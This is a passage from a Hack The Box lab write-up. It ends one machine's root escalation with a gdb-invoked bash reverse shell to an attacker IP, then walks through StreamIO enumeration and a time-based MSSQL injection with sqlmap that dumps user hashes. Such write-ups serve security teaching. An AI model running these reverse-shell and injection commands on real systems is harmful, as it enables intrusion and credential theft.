(No debugging symbols found in /usr/lib/python3.8/lib-dynload/_json.cpython-38-x86_64-linux-gnu.so)
Reading symbols from /usr/lib/python3/dist-packages/gi/_gi.cpython-38-x86_64-linux-gnu.so...
(No debugging symbols found in /usr/lib/python3/dist-packages/gi/_gi.cpython-38-x86_64-linux-gnu.so)
Reading symbols from /lib/x86_64-linux-gnu/libglib-2.0.so.0...
(No debugging symbols found in /lib/x86_64-linux-gnu/libglib-2.0.so.0)
Reading symbols from /lib/x86_64-linux-gnu/libgobject-2.0.so.0...
--Type <RET> for more, q to quit, c to continue without paging--q
Quit
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/10.10.14.98/58619 0>&1'")
[Detaching after vfork from child process 476449]
```

This should spawn a reverse shell as the `root` user. Run `cat /root/root.txt` to get the `root.txt` flag.


# StreamIO

## Summary

This machine is labeled "medium," but it was much harder for me than [Talkative](https://github.com/HHousen/hack-the-box/blob/master/Machines/Talkative/README.md), which is a "hard" machine, because of a heavy amount of enumeration and a Windows privilege escalation technique I was not aware of previously.

Nmap shows two virtual hosts from an SSL certificate: `streamIO.htb` and `watch.streamIO.htb`. After a lot of directory bruteforcing, we find an admin directory (`https://streamio.htb/admin`), a php file that can only be used with `includes` (`https://streamio.htb/admin/master.php`), and a search page (`https://watch.streamio.htb/search.php`). [sqlmap](https://github.com/sqlmapproject/sqlmap) reveals that both the username field to login to `https://streamio.htb` and the search bar on the search page are vulnerable to "Microsoft SQL Server/Sybase stacked queries (comment)." This is a time-based injection. We slowly map out the databases and tables and then dump the `users` table over the course of more than 5 hours (time-based injection can only get about 1 character every 2-6 seconds). Using [CrackStation](https://crackstation.net/), we crack several passwords and find credentials that log us into `https://streamio.htb`.

Once signed in, we have access to the previous found `admin` page. We fuzz URL parameters and find a `debug` parameter. Then, we fuzz values for the `debug` parameter and discover it is vulnerable to LFI. We use PHP filter URIs to get the contents of `index.php` and the previously fuzzed `master.php`. This gives us the password for the `db_admin` user, which we will use later. Setting the `debug` GET parameter of `index.php` to `master.php` means we can load functionality in `master.php`, which just so happens to get the file contents of the POST parameter `include` and pass it to `eval`. Therefore, we get a Meterpreter reverse shell by loading a file via HTTP from our machine that downloads and runs a Metasploit reverse shell payload via a call to PHP's `system` function.

Once on the box, we use [WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) and realize that MS SQL is running on port `1433`. We forward that port to our attacker machine using the Meterpreter's `portfwd` function. Then, we use [impacket](https://github.com/SecureAuthCorp/impacket)'s [mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py) to connect to the database using the previously found credentials and we dump the tables we were unable to dump before. This gives us a crackable hash of `nikk37`'s password. Then, we use [evil-winrm](https://github.com/Hackplayers/evil-winrm) to authenticate as `nikk37`.

Once we've moved laterally to the `nikk37` user, we run [WinPEAS](https://github.com/HHousen/hack-the-box/blob/master/Machines/StreamIO/\(https:/github.com/carlospolop/PEASS-ng/tree/master/winPEAS\)/README.md) again and find a Firefox credential database. We extract the credentials using [firepwd](https://github.com/lclevy/firepwd). Then, we use [crackmapexec](https://wiki.porchetta.industries/smb-protocol/authentication/checking-credentials-domain) to check if any credentials we have are valid. We have valid credentials for the `JDgodd` user.

We cannot connect remotely as `JDgodd`. So, we scan the machine using [SharpHound](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html) and [BloodHound](https://github.com/BloodHoundAD/BloodHound). We learn that the `JDgodd` user has `WriteOwner` permissions on the `CORE_STAFF` group, and that group has the ability to read the LAPS password. So, from `nikk37`'s shell we use `JDgodd`'s credentials to 1) make `JDgodd` the owner of `CORE_STAFF`, 2) give `JDgodd` all permissions on `CORE_STAFF` (since he is the owner), and 3) make `JDgodd` a member of `CORE_STAFF`. Finally, we simply read the LAPS password with `JDgodd`'s credentials and using evil-winrm to authenticate as the Administrator.

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.158 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.158`.

```
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-07-29 08:59:58Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| tls-alpn:
|_  http/1.1
|_ssl-date: 2022-07-29T09:01:27+00:00; +6h59m52s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
50127/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-07-29T09:00:51
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m52s, deviation: 0s, median: 6h59m51s
```

Let's add the `streamIO.htb` and `watch.streamIO.htb` domains (found in the SSL cert from `nmap`) to `/etc/hosts`: `echo "10.10.11.158 streamIO.htb\n10.10.11.158 watch.streamIO.htb" | sudo tee -a /etc/hosts`.

### Virtual Host Scanning

Now that we know the domain name, we can scan for other virtual hosts. Let's scan for subdomains with `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u https://streamio.htb/ -H "Host: FUZZ.streamio.htb" -fs 703`:

```
watch                   [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 95ms]
:: Progress: [114441/114441] :: Job [1/1] :: 170 req/sec :: Duration: [0:12:58] :: Errors: 0 ::
```

This only finds the other virtual host we already knew about.

### Directory bruteforcing

Bruteforcing for directories on `streamIO.htb` port `80` via `ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://streamio.htb/FUZZ` reveals nothing. Nothing is found on `http://watch.streamIO.htb` either.

Navigating to the pages themselves just shows a default Windows Server page. However, going to the `https` versions on port `443` shows valid webpages.

`https://streamIO.htb`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-9221dedd2329ece4ccab4bb94f3302dc7a1dd3fa%2FScreenshot%202022-07-28%20at%2022-12-43%20Streamio.png?alt=media)

`https://watch.streamIO.htb`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-0b158d8000ba12122adbf763b1a47aa3b95b9612%2FScreenshot%202022-07-28%20at%2022-13-03%20Streamio.png?alt=media)

Let's scan the `https` versions for directories.

```
$ ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/FUZZ
Images                  [Status: 301, Size: 151, Words: 9, Lines: 2, Duration: 52ms]
admin                   [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 54ms]
css                     [Status: 301, Size: 148, Words: 9, Lines: 2, Duration: 71ms]
js                      [Status: 301, Size: 147, Words: 9, Lines: 2, Duration: 57ms]
fonts                   [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 53ms]
IMAGES                  [Status: 301, Size: 151, Words: 9, Lines: 2, Duration: 52ms]
Fonts                   [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 54ms]
Admin                   [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 51ms]
CSS                     [Status: 301, Size: 148, Words: 9, Lines: 2, Duration: 51ms]
JS                      [Status: 301, Size: 147, Words: 9, Lines: 2, Duration: 57ms]
                        [Status: 200, Size: 13497, Words: 5027, Lines: 395, Duration: 59ms]
:: Progress: [87664/87664] :: Job [1/1] :: 703 req/sec :: Duration: [0:02:42] :: Errors: 0 ::

$ ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://watch.streamio.htb/FUZZ
static                  [Status: 301, Size: 157, Words: 9, Lines: 2, Duration: 57ms]
Static                  [Status: 301, Size: 157, Words: 9, Lines: 2, Duration: 54ms]
                        [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 57ms]
:: Progress: [87664/87664] :: Job [1/1] :: 717 req/sec :: Duration: [0:02:48] :: Errors: 0 ::
```

Interestingly, the found `/admin` directory on `streamio.htb` simply shows `FORBIDDEN` when loaded. No other important directories are found though.

We can also scan for `php` files since we have seen the `php` extension while browsing the site:

```
$ ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://watch.streamio.htb/FUZZ.php
index                   [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 60ms]
search                  [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 130ms]
Search                  [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 73ms]
Index                   [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 54ms]
INDEX                   [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 54ms]
SEARCH                  [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 71ms]
blocked                 [Status: 200, Size: 677, Words: 28, Lines: 20, Duration: 55ms]
:: Progress: [87651/87651] :: Job [1/1] :: 725 req/sec :: Duration: [0:02:09] :: Errors: 0 ::

$ ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/FUZZ.php
about                   [Status: 200, Size: 7825, Words: 2228, Lines: 231, Duration: 93ms]
contact                 [Status: 200, Size: 6434, Words: 2010, Lines: 206, Duration: 90ms]
login                   [Status: 200, Size: 4145, Words: 796, Lines: 111, Duration: 106ms]
index                   [Status: 200, Size: 13497, Words: 5027, Lines: 395, Duration: 95ms]
register                [Status: 200, Size: 4500, Words: 905, Lines: 121, Duration: 57ms]
About                   [Status: 200, Size: 7825, Words: 2228, Lines: 231, Duration: 59ms]
Contact                 [Status: 200, Size: 6434, Words: 2010, Lines: 206, Duration: 61ms]
Index                   [Status: 200, Size: 13497, Words: 5027, Lines: 395, Duration: 60ms]
Login                   [Status: 200, Size: 4145, Words: 796, Lines: 111, Duration: 57ms]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 55ms]
Register                [Status: 200, Size: 4500, Words: 905, Lines: 121, Duration: 61ms]
INDEX                   [Status: 200, Size: 13497, Words: 5027, Lines: 395, Duration: 60ms]
Logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 58ms]
CONTACT                 [Status: 200, Size: 6434, Words: 2010, Lines: 206, Duration: 58ms]
ABOUT                   [Status: 200, Size: 7825, Words: 2228, Lines: 231, Duration: 117ms]
:: Progress: [87651/87651] :: Job [1/1] :: 722 req/sec :: Duration: [0:02:09] :: Errors: 0 ::
```

The `https://watch.streamio.htb/search.php` page is interesting:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-28a1779f37623ff01bb81e03dccfd9277be78d89%2FScreenshot%202022-07-28%20at%2022-35-30%20Streamio.png?alt=media)

Let's look back at that `/admin` directory. The fact that a directory says "FORBIDDEN" instead of the usual 404 page is strange, so let's fuzz for files in the `/admin` directory by running `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/admin/FUZZ.php`:

```
index                   [Status: 403, Size: 18, Words: 1, Lines: 1, Duration: 56ms]
Index                   [Status: 403, Size: 18, Words: 1, Lines: 1, Duration: 56ms]
master                  [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 56ms]
INDEX                   [Status: 403, Size: 18, Words: 1, Lines: 1, Duration: 58ms]
Master                  [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 60ms]
MASTER                  [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 57ms]
:: Progress: [87651/87651] :: Job [1/1] :: 735 req/sec :: Duration: [0:02:06] :: Errors: 0 ::
```

The `https://streamio.htb/admin/master.php` page is new:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-24b5943d184b651df3d08f10cc4352b4ef86c2db%2FScreenshot%202022-07-28%20at%2023-47-36%20https%20streamio%20htb.png?alt=media)

### SQL Injection

On `https://streamio.htb` we can register, so let's do that and create an account:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-84d285ce7157d517e78c8021a874c9a1833a936d%2FScreenshot%202022-07-28%20at%2022-20-51%20Streamio%20-%20Register.png?alt=media)

Clicking the login link at the bottom of the sign up page causes a redirect to `https://streamio.htb/user-login.html`, which 404s. Going to the login page on the home page (`https://streamio.htb/login.php`) works and we attempt to sign in, but we are told "Login failed." So, there is probably some issue with the login logic. Let's see if it is vulnerable to SQL injection with [sqlmap](https://github.com/sqlmapproject/sqlmap) ([very helpful documentation](https://github.com/sqlmapproject/sqlmap/wiki/Usage), [HackTricks page](https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap)).

Run `sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent`:

```
[22:55:50] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.02' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[22:55:50] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=td5scf51tu8...7prl49rala'). Do you want to use those [Y/n] y
[22:55:53] [INFO] testing if the target URL content is stable
[22:55:53] [INFO] target URL content is stable
[22:55:53] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[22:55:54] [INFO] testing for SQL injection on POST parameter 'username'
[22:55:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:55:55] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[22:55:56] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:55:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:55:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:56:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:56:01] [INFO] testing 'Generic inline queries'
[22:56:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[22:56:02] [WARNING] time-based comparison requires larger statistical model, please wait. (done)
[22:56:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[22:56:14] [INFO] POST parameter 'username' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
it looks like the back-end DBMS is 'Microsoft SQL Server/Sybase'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'Microsoft SQL Server/Sybase' extending provided level (1) and risk (1) values? [Y/n] y
[22:56:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:56:58] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:57:05] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: username (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[22:57:27] [INFO] testing Microsoft SQL Server
[22:57:27] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
y
[23:07:14] [INFO] confirming Microsoft SQL Server
[23:07:14] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[23:07:14] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
[23:07:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2016 or 10 or 2019
web application technology: Microsoft IIS 10.0, PHP, PHP 7.2.26
back-end DBMS: Microsoft SQL Server 2019
[23:07:20] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/streamio.htb'
```

So, the `username` parameter is injectable. Let's list the tables in each database by running `sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent --tables`:

```
[23:10:35] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729)' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[23:10:35] [INFO] resuming back-end DBMS 'microsoft sql server'
[23:10:35] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=78oltq18qn0...7lqrlic51f'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[23:10:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2016 or 2019 or 10
web application technology: PHP, Microsoft IIS 10.0, PHP 7.2.26
back-end DBMS: Microsoft SQL Server 2019
[23:10:37] [INFO] fetching database names
[23:10:37] [INFO] fetching number of databases
[23:10:37] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[23:10:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[23:11:06] [INFO] adjusting time delay to 2 seconds due to good response times
6
[23:11:07] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[23:11:24] [INFO] adjusting time delay to 1 second due to good response times
model
[23:11:49] [INFO] retrieved: msdb
[23:12:11] [INFO] retrieved: STREAMIO
[23:12:54] [INFO] retrieved:
[23:13:00] [ERROR] invalid character detected. retrying..
[23:13:00] [WARNING] increasing time delay to 2 seconds
streamio_b
[23:14:34] [ERROR] invalid character detected. retrying..
[23:14:34] [WARNING] increasing time delay to 3 seconds
ackup
[23:15:28] [INFO] retrieved: tempdb
[23:16:43] [INFO] retrieved:
[23:16:43] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[23:16:43] [INFO] fetching tables for databases: STREAMIO, model, msdb, streamio_backup, tempdb
[23:16:43] [INFO] fetching number of tables for database 'STREAMIO'
[23:16:43] [INFO] retrieved: 2
[23:16:52] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
dbo.movies
[23:19:09] [INFO] retrieved: dbo.users
[23:20:21] [INFO] fetching number of tables for database 'streamio_backup'
[23:20:21] [INFO] retrieved:
[23:20:22] [INFO] retrieved: 0
[23:20:31] [INFO] fetching number of tables for database 'msdb'
[23:20:31] [INFO] retrieved: 23
[23:20:50] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
dbo.autoadmin_backup_confi^C
```

I kill the command after many minutes because this is a time-based exploit so each character takes about 2-3 seconds to come through.

Note that we cannot access the `streamio_backup` database. Trying to run `sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D streamio_backup --tables --batch` errors out with `[CRITICAL] unable to retrieve the tables for any database`.

Importantly, the `STREAMIO` database has two tables: `movies` and `users`. Let's try to get some user credentials. First, let's retrieve the columns using `sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users --columns`:

```
[23:29:05] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618)' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[23:29:05] [INFO] resuming back-end DBMS 'microsoft sql server'
[23:29:05] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=265sug9q54k...nt0lfv9a71'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[23:29:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2019 or 2016 or 10
web application technology: Microsoft IIS 10.0, PHP 7.2.26, PHP
back-end DBMS: Microsoft SQL Server 2019
[23:29:07] [INFO] fetching columns for table 'users' in database 'STREAMIO'
[23:29:07] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[23:29:36] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
4
[23:29:38] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[23:29:58] [INFO] adjusting time delay to 2 seconds due to good response times
id
[23:30:11] [INFO] retrieved: int
[23:30:42] [INFO] retrieved: is_staff
[23:31:59] [INFO] retrieved: bit
[23:32:29] [INFO] retrieved: pas
[23:33:06] [ERROR] invalid character detected. retrying..
[23:33:06] [WARNING] increasing time delay to 3 seconds
sword
[23:34:10] [INFO] retrieved: nchar
[23:35:08] [INFO] retrieved: user
[23:36:04] [ERROR] invalid character detected. retrying..
[23:36:04] [WARNING] increasing time delay to 4 seconds
[23:36:24] [ERROR] invalid character detected. retrying..
[23:36:24] [WARNING] increasing time delay to 5 seconds
name
[23:37:25] [INFO] retrieved: nchar
Database: STREAMIO
Table: users
[4 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| id       | int     |
| is_staff | bit\x02 |
| password | nchar   |
| username | nchar   |
+----------+---------+

[23:38:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/streamio.htb'
```

Now, we can grab a user from the `users` table in the `STREAMIO` database. Since `is_staff` is a bit, let's get all the user's usernames and passwords where `is_staff=1` by running `sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users -C id,is_staff,password,username --where "is_staff=1" --dump`. This command just continuously outputs `[23:49:35] [INFO] retrieved:` without any data. However, `sqlmap` suggested the following:

```
[23:49:26] [WARNING] in case of table dumping problems (e.g. column entry order) you are advised to rerun with '--force-pivoting'
```

Sure enough, rerunning with `--force-pivoting` seems to fix the problem:

```
$ sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users -C id,is_staff,password,username --where "is_staff=1" --dump --force-pivoting
[23:50:32] [INFO] fetching number of column(s) 'id,is_staff,password,username' entries for table 'users' in database 'STREAMIO'
[23:50:32] [INFO] resumed: 29
[23:50:32] [INFO] fetching number of distinct values for column 'id'
[23:50:32] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[23:50:42] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
2
[23:51:01] [INFO] adjusting time delay to 2 seconds due to good response times
9
[23:51:07] [INFO] using column 'id' as a pivot for retrieving row data
[23:51:07] [INFO] retrieved: 10
[23:51:19] [INFO] retrieved: 1
[23:51:27] [INFO] retrieved: 3577c47eb1e12c8ba021611e1280753c
[00:00:16] [INFO] retrieved: Tha
[00:00:54] [ERROR] invalid character detected. retrying..
[00:00:54] [WARNING] increasing time delay to 3 seconds
ne
[00:17:18] [INFO] retrieved: 11
[00:17:35] [INFO] retrieved: 1
[00:17:44] [INFO] retrieved: 35394484d89fcfdb3c5e447fe749d213
[00:30:54] [INFO] retrieved: C^C
[00:31:04] [WARNING] user aborted during enumeration. sqlmap will display partial output
Database: STREAMIO
Table: users
[1 entry]
+----+----------+----------------------------------------------------+----------------------------------------------------+
| id | is_staff | password                                           | username                                           |
+----+----------+----------------------------------------------------+----------------------------------------------------+
| 10 | 1        | 3577c47eb1e12c8ba021611e1280753c                   | Thane                                              |
+----+----------+----------------------------------------------------+----------------------------------------------------+
```

This attack takes a long time. We can crack `Thane`'s password hash using [CrackStation](https://crackstation.net/), but signing in as this user doesn't work. There are multiple users so we could try them all, but the SQL injection is going to take a long time. Since it will take a long time we run with `--level 5 --risk 3` to scan for potential other methods:

```
---
Parameter: username (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF)
    Payload: username=a' WAITFOR DELAY '0:0:5'-- tzgk&password=a
---
```

However, we only get time-based methods so that's unfortunate. Additionally, the search parameter on `https://watch.streamio.htb/search.php` is also injectable, but it too is a time-based injection:

```
---
Parameter: q (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: q=a%' AND 1154=1154 AND 'rteQ%'='rteQ
---
```

We will use [this StackOverflow answer](https://unix.stackexchange.com/a/82610) to automatically run the command again if it fails:

```
$ for i in 1 2 3 4 5; do sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users -C id,username,password --where "is_staff=1" --dump --force-pivoting --batch --pivot-column id && break || sleep 15; done
[02:04:52] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux x86_64; hu; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[02:04:53] [INFO] resuming back-end DBMS 'microsoft sql server'
[02:04:53] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=pspmg1umdmo...j1q4ij1spi'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[02:04:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2016 or 10 or 2019
web application technology: PHP 7.2.26, Microsoft IIS 10.0, PHP
back-end DBMS: Microsoft SQL Server 2019
[02:04:53] [INFO] fetching entries of column(s) 'id,password,username' for table 'users' in database 'STREAMIO'
[02:04:53] [INFO] fetching number of column(s) 'id,password,username' entries for table 'users' in database 'STREAMIO'
[02:04:53] [INFO] resumed: 29
[02:04:53] [INFO] using column 'id' as a pivot for retrieving row data
[02:04:53] [INFO] resumed: 10
[02:04:53] [INFO] resuming partial value: 3
[02:04:53] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[02:04:58] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[02:05:14] [INFO] adjusting time delay to 1 second due to good response times
577c47eb1e12c8ba021611e1280753c
[02:09:51] [INFO] retrieved: Thane
[02:16:09] [INFO] retrieved: 11
[02:16:17] [INFO] retrieved: 35394484d89fcfdb3c5e447fe749d213
[02:21:24] [INFO] retrieved: Carmon
[02:27:39] [INFO] retrieved: 12
[02:27:47] [INFO] retrieved: 54c88b2dbd7b1a84012fabc1a4c73415
[02:32:35] [INFO] retrieved: Barry
[02:38:50] [INFO] retrieved: 13
[02:38:59] [INFO] retrieved: fd78db29173a5cf701bd69027cb9bf6b
[02:43:53] [INFO] retrieved: Oliver
[02:50:13] [INFO] retrieved: 14
[02:50:23] [INFO] retrieved: b83439b16f844bd6ffe35c02fe21b3c0
[02:55:35] [INFO] retrieved: Michelle
[03:01:45] [INFO] retrieved: 15
[03:01:52] [INFO] retrieved: 0cfaaaafb559f081df2befbe66686de0
[03:06:48] [INFO] retrieved: Gloria
[03:13:03] [INFO] retrieved: 16
[03:13:11] [INFO] retrieved: b22abb47a02b52d5dfa27fb0b534f693
[03:18:20] [INFO] retrieved: Victoria
[03:24:28] [INFO] retrieved: 17
[03:24:36] [INFO] retrieved: 1c2b3d8270321140e5153f6637d3ee53
[03:29:29] [INFO] retrieved: Alexendra
